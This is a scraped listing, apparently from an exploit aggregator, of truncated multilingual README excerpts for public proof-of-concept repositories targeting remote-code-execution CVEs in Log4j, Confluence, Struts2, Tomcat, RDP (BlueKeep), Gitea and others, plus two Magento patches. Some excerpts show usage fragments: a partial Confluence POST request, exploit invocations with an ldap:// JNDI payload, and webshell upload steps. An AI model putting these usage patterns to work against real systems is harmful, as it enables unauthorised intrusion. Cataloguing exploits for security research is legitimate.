CVE-2019-0193

CVE-2019-0193 Esecuzione remota di codice...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Informazioni Questo repository contiene due PoC per il Connect Box CH7465LG con firmware CH7465LG-NCIP-6.12.18.24-5p8-NOSH o precedenti. Per maggiori informazioni, dai un'occhiata al mio blog. Utilizzo Esecuzione Remota di Codice non Autenticata $ python3...

CVE-2025-24813

Descrizione Questo repository fornisce l'ambiente per la riproduzione della recente RCE CVE-2025-24813 su Tomcat. Solo per scopi di studio e ricerca! Condizioni di sfruttamento L'applicazione ha abilitato la funzione di scrittura di DefaultServlet, disabilitata per impostazione predefinita...

CVE-2021-44228-Log4j-JNDI

Zugriff Nach dem Start des Projekts aufrufen: http://127.0.0.1:9090/vul Reproduktion der Schwachstelle JDK-Version: java8u92 vermeide zu hohe Versionen, es wird empfohlen, dieselbe wie ich zu verwenden, höhere Versionen haben gewisse Einschränkungen für JNDI-Injection root@kitploit: java -jar...

CVE-2023-32560

CVE-2023-32560 Ivanti Avalanche v6.4.0.0 RCE POC Riferimento: https://www.tenable.com/security/research/tra-2023-27...

CVE-2019-3396

CVE-2019-3396 Path traversal del Connector Widget di Confluence CVE-2019-3396 POC RCE root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...

solr_exploit

Déclaration Les méthodes de détection de vulnérabilités, fichiers et autres contenus fournis ici sont strictement réservés à une utilisation par des professionnels de la sécurité après avoir obtenu une autorisation légale, dans le but de tester la sécurité des serveurs autorisés. Les professionne...

CVE-2017-8759

Инструмент эксплуатации CVE-2017-8759 Инструмент эксплуатации CVE-2017-8759 — это удобный скрипт на Python, который предоставляет пентестерам и исследователям безопасности быстрый и эффективный способ тестирования RCE Microsoft .NET Framework. Он может генерировать вредоносный RTF-файл и доставля...

CVE-2024-53900

CVE-2024-53900 - Mongoose populate.match $where RCE Dieses Repository stellt eine reproduzierbare verwundbare Umgebung und einen PoC für CVE-2024-53900 bereit, eine kritische Remote-Code-Ausführungs-Sicherheitslücke RCE in Mongoose 8.8.3. 📌 Schwachstellendetails CVE : CVE-2024-53900 Betroffen :...

CVE-2020-17530

S2-061 Gli script sono tutti scritti per l'ambiente di test delle vulnerabilità struts2-059/061 di vulhub, non sono universali. Spero che i maestri possano dare consigli. struts2-061-poc.py esegue semplici comandi di sistema Uso: python struts2-061-poc.py http://ip:port comando Esempio: python...

CVE-2022-30781

🍵 CVE-2022-30781 Exploit di esecuzione remota di comandi tramite migrazione repository Gitea. Come usare 1. Esegui un server filesystem HTTP con i file in questo repository. 2. Modifica il comando da eseguire in api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migra un repository remoto con URL...

magento2-template-filter-patch

Magento 2 Template Filter Patch für CVE-2022-24086, CVE-2022-24087 Magento 2 Patch für CVE-2022-24086, CVE-2022-24087. Behebt die RCE-Sicherheitslücke und damit verbundene Fehler durch tiefgehendes Escaping von Template-Variablen. Wenn Sie Magento nicht aktualisieren oder die offiziellen Patches...

magento2-cosmic-sting-patch

Patch per Magento 2 per CVE-2024-34102 noto anche come Cosmic Sting Una soluzione alternativa come estensione per Magento 2 per correggere la vulnerabilità XXE CVE-2024-34102 nota anche come Cosmic Sting. Se non puoi aggiornare Magento o non puoi applicare la patch ufficiale, prova questa. Se non...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Requisiti di ambiente 1. tomcat8 8 Utilizzo 1. Scarica springframeworkrce-0.0.1-SNAPSHOT.zip, estrailo e rinominalo in ROOT.war. 2. Sostituisci la cartella ROOT o il file ROOT.war nella cartella webapps all'interno di tomcat. 3. Spostati nella directory bin...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2024-39840-POC

angepasst von Write-up: https://memorycorruption.net/posts/rce-lua-factorio/ funktioniert auf factorio 1.1.86...

CVE-2019-0708

CVE-2019-0708 Initialer Exploit für CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP Remote Windows-Kernel Use-After-Free Der RDP-Treiber termdd.sys behandelt Bindungen an den nur internen Kanal MST120 fehlerhaft, sodass eine fehlerhaft formatierte Disconnect Provider Indication-Nachricht einen...

CVE-2019-0708

CVE-2019-0708 BlueKeep Derzeit veröffentliche ich nur die Exploit-Notiz für Windows 7 x64. Siehe NOTE.md Hinweis: Windows 2008 R2 mit Standardkonfiguration fDisableCam=1 kann ausgenutzt werden. Die Zuverlässigkeit ist dieselbe wie bei Windows 7. Update Juli 2020 Informationen für Windows Server...

tech-seminar-React2Shell

React2Shell CVE-2025-55182 Seminário técnico WooriFISA 6ª edição - Equipe 3: Análise e pesquisa da vulnerabilidade de execução remota de código RCE explorando a falha de design do React Server Component RSC, React2Shell Equipe...

CVE-2022-25581

CVE-2022-25581 Im gesamten Internet nicht auffindbar – hier als Backup hinterlegt. Python-Exploit-Skript zur automatischen Durchführung der folgenden Schritte: ✅ Ziele des Skripts 1. Im Backend anmelden csrf und token abrufen 2. Ein bösartiges Request-Paket konstruieren, um ein Archiv mit Webshel...